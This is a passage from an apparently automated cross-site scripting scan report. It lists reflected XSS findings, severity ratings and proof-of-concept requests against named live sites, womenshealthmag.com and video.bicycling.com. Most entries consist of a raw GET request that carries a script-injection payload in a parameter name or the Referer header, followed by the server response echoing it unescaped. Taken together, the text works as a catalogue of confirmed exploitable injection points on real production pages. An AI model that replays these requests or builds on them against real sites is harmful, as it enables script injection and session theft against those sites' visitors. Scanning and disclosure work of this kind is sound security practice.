Expires: Thu, 17 Mar 2011 17:23:16 GMT
Date: Thu, 10 Mar 2011 17:23:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 63402

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/nutrition/no-meat-protein-recipes?79f03"><script>alert(1)</script>532ef0bc391=1">
...[SNIP]...

2.1075. http://www.womenshealthmag.com/quizzes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/quizzes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e84c0"><script>alert(1)</script>59a811d367e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /quizzes?e84c0"><script>alert(1)</script>59a811d367e=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:03 GMT
Date: Thu, 10 Mar 2011 17:23:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 72383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/quizzes?e84c0"><script>alert(1)</script>59a811d367e=1">
...[SNIP]...

2.1076. http://www.womenshealthmag.com/rss-feeds [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/rss-feeds

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cdfa"><script>alert(1)</script>1281f279180 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rss-feeds?4cdfa"><script>alert(1)</script>1281f279180=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:07 GMT
Date: Thu, 10 Mar 2011 17:22:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 54279

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/rss-feeds?4cdfa"><script>alert(1)</script>1281f279180=1">
...[SNIP]...

2.1077. http://www.womenshealthmag.com/search [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/search

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65e22"><script>alert(1)</script>6171b94b2f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search?65e22"><script>alert(1)</script>6171b94b2f7=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:53:38 GMT
Date: Thu, 10 Mar 2011 17:23:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 45947

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/search?65e22"><script>alert(1)</script>6171b94b2f7=1">
...[SNIP]...

2.1078. http://www.womenshealthmag.com/sex-and-relationships [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/sex-and-relationships

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 110e6"><script>alert(1)</script>8d3c9734154 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sex-and-relationships?110e6"><script>alert(1)</script>8d3c9734154=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:01 GMT
Date: Thu, 10 Mar 2011 17:22:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93814

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/sex-and-relationships?110e6"><script>alert(1)</script>8d3c9734154=1">
...[SNIP]...

2.1079. http://www.womenshealthmag.com/sound-off [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/sound-off

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66bb1"><script>alert(1)</script>b58c588a7c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sound-off?66bb1"><script>alert(1)</script>b58c588a7c7=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:08 GMT
Date: Thu, 10 Mar 2011 17:22:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 76326

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/sound-off?66bb1"><script>alert(1)</script>b58c588a7c7=1">
...[SNIP]...

2.1080. http://www.womenshealthmag.com/videos [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/videos

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71bb5"><script>alert(1)</script>cf9d48562cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos?71bb5"><script>alert(1)</script>cf9d48562cb=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:59 GMT
Date: Thu, 10 Mar 2011 17:22:59 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 39931

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/videos?71bb5"><script>alert(1)</script>cf9d48562cb=1">
...[SNIP]...

2.1081. http://www.womenshealthmag.com/weight-loss [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/weight-loss

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f97b2"><script>alert(1)</script>5fd58dfad8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /weight-loss?f97b2"><script>alert(1)</script>5fd58dfad8f=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3599
Expires: Thu, 10 Mar 2011 18:22:05 GMT
Date: Thu, 10 Mar 2011 17:22:06 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93393

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/weight-loss?f97b2"><script>alert(1)</script>5fd58dfad8f=1">
...[SNIP]...

2.1082. http://www.womenshealthmag.com/weight-loss/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/weight-loss/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc8e6"><script>alert(1)</script>5f13aa2d4aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /weight-loss/?cc8e6"><script>alert(1)</script>5f13aa2d4aa=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:55 GMT
Date: Thu, 10 Mar 2011 17:23:55 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93116

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/weight-loss/?cc8e6"><script>alert(1)</script>5f13aa2d4aa=1">
...[SNIP]...

2.1083. http://www.womenshealthmag.com/win-today [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/win-today

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad65e"><script>alert(1)</script>c6aa514457e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /win-today?ad65e"><script>alert(1)</script>c6aa514457e=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:53:41 GMT
Date: Thu, 10 Mar 2011 17:23:41 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 52334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/win-today?ad65e"><script>alert(1)</script>c6aa514457e=1">
...[SNIP]...

2.1084. http://www.womenshealthmag.com/workouts [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/workouts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a81cb"><script>alert(1)</script>d6055dda5c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /workouts?a81cb"><script>alert(1)</script>d6055dda5c2=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:03 GMT
Date: Thu, 10 Mar 2011 17:23:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77218

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/workouts?a81cb"><script>alert(1)</script>d6055dda5c2=1">
...[SNIP]...

2.1085. http://www.womenshealthmag.com/yoga [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/yoga

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5f11"><script>alert(1)</script>b89b3eff94b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /yoga?b5f11"><script>alert(1)</script>b89b3eff94b=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3599
Expires: Thu, 10 Mar 2011 18:22:02 GMT
Date: Thu, 10 Mar 2011 17:22:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/yoga?b5f11"><script>alert(1)</script>b89b3eff94b=1">
...[SNIP]...

2.1086. http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [Referer HTTP header] previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://video.bicycling.com
Path:	/embed/player/C5QKZB153SRSPSH2

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7967a'-alert(1)-'78b9b9f81e6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /embed/player/C5QKZB153SRSPSH2 HTTP/1.1
Host: video.bicycling.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=7967a'-alert(1)-'78b9b9f81e6
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-739820718-1299775174294

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
X-Magnify-Edge-Control: cache-maxage=3600, dca=esi
Content-Type: Text/HTML
X-Cache: MISS from video.bicycling.com
X-Magnify-Cache-Eligible: YES
X-Magnify-ESI-Done: YES
X-Magnify-Edge-Control-TTL: 3600
X-Magnify-Cached: YES
X-Magnify-Cache-Hit: YES
Date: Thu, 10 Mar 2011 16:39:35 GMT
X-Varnish: 908925226 908532412
Age: 2803
Via: 1.1 varnish
Connection: keep-alive
Content-Length: 3407

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
   <title>Embedded Display for Bicycling</title>
   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
rRoot = '/embed/player/', cid = "", referrerObj = {}, referrer = "", queryString = "";
cid = "C5QKZB153SRSPSH2";
queryString = '';
try {
   referrerObj = {
referer: 'http://www.google.com/search?hl=en&q=7967a'-alert(1)-'78b9b9f81e6',
host: 'video.bicycling.com'
};
   referrer = referrerObj.referer != "(null)" ? referrerObj.referer : "";
   queryString += (queryString.length ? "&" : "") + "referrer=" + encodeURIComponent(referrer);
}
...[SNIP]...

Report generated by XSS.CX at Fri Mar 11 11:36:42 CST 2011.